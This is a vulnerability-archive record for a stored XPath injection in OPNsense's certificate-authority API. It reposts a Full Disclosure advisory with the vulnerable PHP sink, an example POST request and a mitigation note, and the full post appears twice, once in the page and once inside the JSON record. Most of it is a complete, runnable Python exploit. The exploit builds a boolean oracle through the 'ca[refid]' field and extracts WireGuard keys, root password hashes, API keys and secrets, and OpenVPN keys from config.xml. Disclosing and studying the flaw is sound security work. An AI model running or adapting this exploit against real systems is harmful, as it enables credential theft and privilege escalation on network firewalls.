Search
Find a vulnerability
Search criteria
1 vulnerability by Opnsense
GCVE-1988-2026-0022
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
VLAI
EPSS
VEX
Title
OPNsense XPATH Injection (CVE-2026-53582)
Summary
SUMMARY: a stored XPATH injection allows any user with just ca
manager/certificate manager perms to leak any secret key/any value in
config.xml, thus achieving privilege escalation and potentially remote
code execution. this can also likely be chained via csrf and some
clever hiding. see
https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
== VULN ==
the primary vulnerable sink is here:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() =
'{$node->refid}']")) - 1;
as we control node->refid, which can be seen in here:
protected function setBaseHook($node)
{
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
$error = false;
if (!empty((string)$node->prv_payload)) {
/** private key manually offered */
$node->prv = base64_encode((string)$node->prv_payload);
}
we know that if refid is empty it'll be a uniqid - which means its
meant to be alphanumeric. notably, there are no preg_match/regex
matches that check whether or not a user supplied refid isnt
alphanumeric. in this case, we can now test this by hitting this
endpoint:
POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf
() example com
to truly exploit this we can write a script that turns the xpath
injection we have into a decent boolean oracle, then slowly leak each
character. for example, an openvpn private key or a root password
hash.
== xp ==
import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3
urllib3.disable_warnings()
# yeah idk dude iiwiw lol
targs = {
"wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
"wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
"hasyncpw": "//hasync/password",
"roothash": "//system/user/password",
"rootkey": "//system/user/apikeys/item/key",
"rootsecret": "//system/user/apikeys/item/secret",
"openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}
cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))
makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
total = 0
lock = threading.Lock()
# mega ass
def sesh(a):
s = requests.Session()
s.auth = a
s.verify = False
return s
def prober(s, base, n):
canary = makecanary()
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary, "ca[descr]": f"p{n}",
"ca[action]": "internal", "ca[commonname]": f"p{n}",
}, timeout=30)
return r.json().get("uuid", "n/a"), canary
def inj(s, base, ca_uuid, nx, condition):
global total
payload = f"{nx}' or ({condition}) or 'x'='"
s.post(
f"{base}/api/trust/ca/set/{ca_uuid}",
data={"ca[refid]": payload},
timeout=30,
)
r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
with lock:
total += 1
ca = r.json().get("ca", {})
# refcount = int(ca["refcount"])
refcount = int(ca.get("refcount", "0"))
return refcount > 0
def getlen(s, base, ca, nx, xpath):
lo, hi = 0, 300
while lo < hi:
mid = (lo + hi + 1) // 2
if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
lo = mid
else:
hi = mid - 1
return lo
def binsrch(s, base, ca, nx, xpath, pos):
cands = cset[:]
while len(cands) > 1:
midpoint = len(cands) // 2
half = "".join(cands[:midpoint])
cond = f"contains('{half}', substring({xpath},{pos},1))"
if inj(s, base, ca, nx, cond):
cands = cands[:midpoint]
else:
cands = cands[midpoint:]
c = cands[0]
if c == "'":
lit = f'"{c}"'
else:
lit = f"'{c}'"
cond = f"substring({xpath},{pos},1)={lit}"
if inj(s, base, ca, nx, cond):
return c
return None
def extract(workers, base, xpath):
s0, ca0, nx0 = workers[0]
length = getlen(s0, base, ca0, nx0, xpath)
if length == 0:
return ""
print(f"+ maybe {length} len")
result = ["?"] * length
wq = Queue()
for w in workers:
wq.put(w)
# start grabbing
def do(pos):
s, ca, nx = wq.get()
try:
return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
finally:
wq.put((s, ca, nx))
with ThreadPoolExecutor(max_workers=len(workers)) as pool:
# for pos, ch in pool.map(doer_func(p), range(length)):
for pos, ch in pool.map(lambda p: do(p), range(length)):
if ch:
result[pos] = ch
sys.stdout.write(ch or "#")
sys.stdout.flush()
print()
return "".join(result)
def main():
global total
print("xray")
target_names = list(targs.keys())
target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
# i gave it a bs name
parser = argparse.ArgumentParser(
description="x-ray",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="extractables:\n" + target_list,
)
parser.add_argument("targ", help="base url")
parser.add_argument("api_key", help="you need this")
parser.add_argument("api_secret", help="this too")
parser.add_argument("target", nargs="?", default="all",
choices=target_names + ["all"], help="target to extract")
parser.add_argument("-w", "--workers", type=int, default=8,
help="how many workers in parallel")
args = parser.parse_args()
base = args.targ.rstrip("/")
auth = (args.api_key, args.api_secret)
s = sesh(auth)
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
print("- bro")
sys.exit(1)
print("+ oh sweet we can access the ca api")
workers = []
for i in range(args.workers):
ws = sesh(auth)
uuid, nx = prober(ws, base, i)
if not uuid:
print("creating probe failed (prober)")
sys.exit(1)
workers.append((ws, uuid, nx))
print(f"+ {args.workers} probing\n")
# extract
if args.target == "all":
targets = targs
else:
targets = {args.target: targs[args.target]}
for name, xpath in targets.items():
print(f"+ {name}")
s0, ca0, nx0 = workers[0]
if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
print("n/a")
continue
val = extract(workers, base, xpath)
print(f"{repr(val)} ({total} reqs)\n")
# finally: # nvm
# cleanup but not really beacuse im lazy
for ws, ca, nx in workers:
ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
print(f"+ done {total}")
if __name__ == "__main__":
main()
== PATCH/MITIG ==
update to 26.1.10. alternatively, add a preg_match guard and an input
mask to Ca.xml by hand (if youre about that life)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jul/18 | technical-description |
| https://github.com/opnsense/core/security/advisor… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Opnsense | OPNsense XPATH Injection |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "OPNsense XPATH Injection",
"vendor": "Opnsense",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan"
}
],
"descriptions": [
{
"lang": "en",
"value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n {\n if (empty((string)$node-\u003erefid)) {\n $node-\u003erefid = uniqid();\n }\n $error = false;\n if (!empty((string)$node-\u003eprv_payload)) {\n /** private key manually offered */\n $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n \"hasyncpw\": \"//hasync/password\",\n \"roothash\": \"//system/user/password\",\n \"rootkey\": \"//system/user/apikeys/item/key\",\n \"rootsecret\": \"//system/user/apikeys/item/secret\",\n \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n s = requests.Session()\n s.auth = a\n s.verify = False\n return s\n\n\ndef prober(s, base, n):\n canary = makecanary()\n r = s.post(f\"{base}/api/trust/ca/add\", data={\n \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n }, timeout=30)\n return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n global total\n payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n s.post(\n f\"{base}/api/trust/ca/set/{ca_uuid}\",\n data={\"ca[refid]\": payload},\n timeout=30,\n )\n r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n with lock:\n total += 1\n ca = r.json().get(\"ca\", {})\n # refcount = int(ca[\"refcount\"])\n refcount = int(ca.get(\"refcount\", \"0\"))\n return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n lo, hi = 0, 300\n while lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n lo = mid\n else:\n hi = mid - 1\n return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n cands = cset[:]\n while len(cands) \u003e 1:\n midpoint = len(cands) // 2\n half = \"\".join(cands[:midpoint])\n cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n if inj(s, base, ca, nx, cond):\n cands = cands[:midpoint]\n else:\n cands = cands[midpoint:]\n\n c = cands[0]\n if c == \"\u0027\":\n lit = f\u0027\"{c}\"\u0027\n else:\n lit = f\"\u0027{c}\u0027\"\n\n cond = f\"substring({xpath},{pos},1)={lit}\"\n if inj(s, base, ca, nx, cond):\n return c\n return None\n\n\ndef extract(workers, base, xpath):\n s0, ca0, nx0 = workers[0]\n length = getlen(s0, base, ca0, nx0, xpath)\n if length == 0:\n return \"\"\n print(f\"+ maybe {length} len\")\n\n result = [\"?\"] * length\n\n wq = Queue()\n for w in workers:\n wq.put(w)\n # start grabbing\n def do(pos):\n s, ca, nx = wq.get()\n try:\n return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n finally:\n wq.put((s, ca, nx))\n\n with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n # for pos, ch in pool.map(doer_func(p), range(length)):\n for pos, ch in pool.map(lambda p: do(p), range(length)):\n if ch:\n result[pos] = ch\n sys.stdout.write(ch or \"#\")\n sys.stdout.flush()\n\n print()\n return \"\".join(result)\n\n\ndef main():\n global total\n print(\"xray\")\n target_names = list(targs.keys())\n target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n # i gave it a bs name\n parser = argparse.ArgumentParser(\n description=\"x-ray\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\"extractables:\\n\" + target_list,\n )\n parser.add_argument(\"targ\", help=\"base url\")\n parser.add_argument(\"api_key\", help=\"you need this\")\n parser.add_argument(\"api_secret\", help=\"this too\")\n parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n args = parser.parse_args()\n\n base = args.targ.rstrip(\"/\")\n auth = (args.api_key, args.api_secret)\n\n\n s = sesh(auth)\n r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n if r.status_code != 200:\n print(\"- bro\")\n sys.exit(1)\n print(\"+ oh sweet we can access the ca api\")\n\n\n workers = []\n\n for i in range(args.workers):\n ws = sesh(auth)\n uuid, nx = prober(ws, base, i)\n if not uuid:\n print(\"creating probe failed (prober)\")\n sys.exit(1)\n workers.append((ws, uuid, nx))\n print(f\"+ {args.workers} probing\\n\")\n\n # extract\n if args.target == \"all\":\n targets = targs\n else:\n targets = {args.target: targs[args.target]}\n for name, xpath in targets.items():\n print(f\"+ {name}\")\n s0, ca0, nx0 = workers[0]\n if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n print(\"n/a\")\n continue\n val = extract(workers, base, xpath)\n print(f\"{repr(val)} ({total} reqs)\\n\")\n # finally: # nvm\n # cleanup but not really beacuse im lazy\n for ws, ca, nx in workers:\n ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T10:11:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/18"
},
{
"url": "https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/18"
],
"discovery": "EXTERNAL"
},
"title": "OPNsense XPATH Injection (CVE-2026-53582)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0022",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/18",
"automated": true,
"contentSha256": "f2fd662c60bf7a79731c49d8575d20f4fef0d531037d854d1e62a37da499b1d9",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-03T10:56:32Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-09T10:11:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0022"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}